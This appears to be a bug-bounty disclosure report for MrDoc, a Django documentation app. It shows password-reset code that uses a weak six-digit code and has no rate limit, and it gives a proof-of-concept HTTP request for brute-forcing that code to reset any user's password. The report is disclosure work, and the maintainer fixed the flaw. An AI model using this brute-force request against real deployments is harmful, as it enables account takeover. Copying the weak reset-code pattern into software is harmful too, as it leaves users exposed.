Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) in zmister2016/mrdoc

Valid

Reported on

Oct 16th 2021


description

Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) in Mrdoc allows an attacker to reset arbitrary user‘s password

1、/admin/send_email_vcode/,check email & generate email & send mail

def send_email_vcode(request):
    if request.method == 'POST':
        email = request.POST.get('email',None)
        is_email = User.objects.filter(email=email)
        if is_email.count() != 0:
            vcode_str = generate_vcode() # 【notion here,vcode is acutally WEAK】
            # 发送邮件
            send_status = send_email(to_email=email, vcode_str=vcode_str)
            if send_status:
                # 生成过期时间
                now_time = datetime.datetime.now()
                expire_time = now_time + datetime.timedelta(minutes=30)
                # 创建数据库记录
                EmaiVerificationCode.objects.create(
                    email_name = email,
                    verification_type = '忘记密码',
                    verification_code = vcode_str,
                    expire_time = expire_time
                )

2、Let‘s see the ·generate_vcode()`

def generate_vcode(n=6):
    # 生成数字验证码
    _num = ''.join(map(str, range(3, 10))) # 3456789
    vcode_str = ''.join(random.sample(_num, n))
    return vcode_str

vcode is weak ,which ranging from 333333 - 999999(like bit flipping,there's no 123)

3、/admin/forget_pwd/ , No Rate limit

def forget_pwd(request):
    if request.method == 'GET':
        return render(request,'forget_pwd.html',locals())
    elif request.method == 'POST':
        email = request.POST.get("email",None) # 邮箱
        vcode = request.POST.get("vcode",None) # 验证码
        new_pwd= request.POST.get('password',None) # 密码
        new_pwd_confirm = request.POST.get('confirm_password')
        # 查询验证码和邮箱是否匹配
        try:
            data = EmaiVerificationCode.objects.get(email_name=email,verification_code=vcode,verification_type='忘记密码') #【No Rate limit】
            expire_time = data.expire_time
            if expire_time > datetime.datetime.now():
                user = User.objects.get(email=email)
                user.set_password(new_pwd)
                user.save()

Only check whether the email is valid,No rate limit

An attacker with a valid email,could brute force to find the exact vcode,then modify the user's password O(n) = 7^6 = 117,649

Proof of Concept

POST /admin/forget_pwd/ HTTP/1.1
Host: 192.168.1.166:10086
Content-Length: 169
Cache-Control: max-age=0
Origin: http://192.168.1.166:10086
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.166:10086/admin/forget_pwd/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: request_token=MkuvgO7j53i3jblUTZq5xnpIYzWjHID1f0mCV3EART5DV9wG; pro_end=-1; ltd_end=-1; serverType=nginx; order=id%20desc; memSize=15807; bt_user_info=%7B%22status%22%3Atrue%2C%22msg%22%3A%22%u83B7%u53D6%u6210%u529F%21%22%2C%22data%22%3A%7B%22username%22%3A%22159****0045%22%7D%7D; page_number=20; sites_path=/www/wwwroot; rank=list; file_recycle_status=true; Path=/etc/nginx/conf; disk-unitType=KB/s; network-unitType=KB/s; distribution=centos8; force=0; soft_remarks=%7B%22list%22%3A%5B%22%u4F01%u4E1A%u7248%u3001%u4E13%u4E1A%u7248%u63D2%u4EF6%22%2C%2215%u5929%u65E0%u7406%u7531%u9000%u6B3E%22%2C%22%u53EF%u66F4%u6362IP%22%2C%22%u8D60%u90012%u5F20%u5546%u7528%u8BC1%u4E66%22%2C%22%u8D60%u90011000%u6761%u77ED%u4FE1%22%2C%22%u4F4E%u81F31.86%u5143/%u5929%22%2C%22%u5546%u7528%u9632%u706B%u5899%u6388%u6743%22%2C%22%u5E74%u4ED8%u4F01%u4E1A%u7248%u670D%u52A1%u7FA4%22%2C%22%u4EA7%u54C1%u6388%u6743%u8BC1%u4E66%22%5D%2C%22pro_list%22%3A%5B%22%u4E13%u4E1A%u7248%u63D2%u4EF6%22%2C%2215%u5929%u65E0%u7406%u7531%u9000%u6B3E%22%2C%22%u53EF%u66F4%u6362IP%22%2C%22%u4F4E%u81F31.52%u5143/%u5929%22%2C%22%u5546%u7528%u9632%u706B%u5899%u6388%u6743%22%2C%22%u4EA7%u54C1%u6388%u6743%u8BC1%u4E66%22%5D%2C%22kfqq%22%3A%223007255432%22%2C%22kf%22%3A%22http%3A//q.url.cn/CDfQPS%3F_type%3Dwpa%26qidian%3Dtrue%22%2C%22qun%22%3A%22%22%7D; pnull=1; load_search=undefined; load_page=null; load_type=10; softType=11; backup_path=/www/backup; 2c690edd1a5972f7bac717d0431f5ec5=c17ad8e6-c7eb-4085-995f-fc97cada29ef.WpOyWnsfN1bI12M_ZDT-aSqkl9I; csrftoken=o4ejRt6PoC28jP9zIH6eogtSoqCh3bh2t1fBN4RlJGafzUjQxi7CiCJGEtvwRDcR; sessionid=thnzyyzsyu5ngpmfyl2gwwmmm590vfnq
Connection: close

csrfmiddlewaretoken=9zW0AolUpct3n6aHJ3p8KmhAtkhZnNu5ewXiwZ6qKgBaDbkYyEqwEIxoJnaebfpU&email=uinkrljhoq%40iubridge.com&vcode=§333333§&password=123123&confirm_password=123123

There are many tools that can be used to brute force in 30 min,such as Burp Suite( Intruder/ Turbo Intruder)

Impact

This vulnerability is capable of

  • Resetting arbitrary user‘s password
We have contacted a member of the zmister2016/mrdoc team and are waiting to hear back a month ago
hi-unc1e modified their report
a month ago
hi-unc1e modified their report
a month ago
hi-unc1e modified their report
a month ago
hi-unc1e
a month ago

Researcher


any update?

We have sent a second follow up to the zmister2016/mrdoc team. We will try again in 10 days. a month ago
zmister2016 validated this vulnerability a month ago
hi-unc1e has been awarded the disclosure bounty
The fix bounty is now up for grabs
zmister2016 confirmed that a fix has been merged on ea78e8 a month ago
zmister2016 has been awarded the fix bounty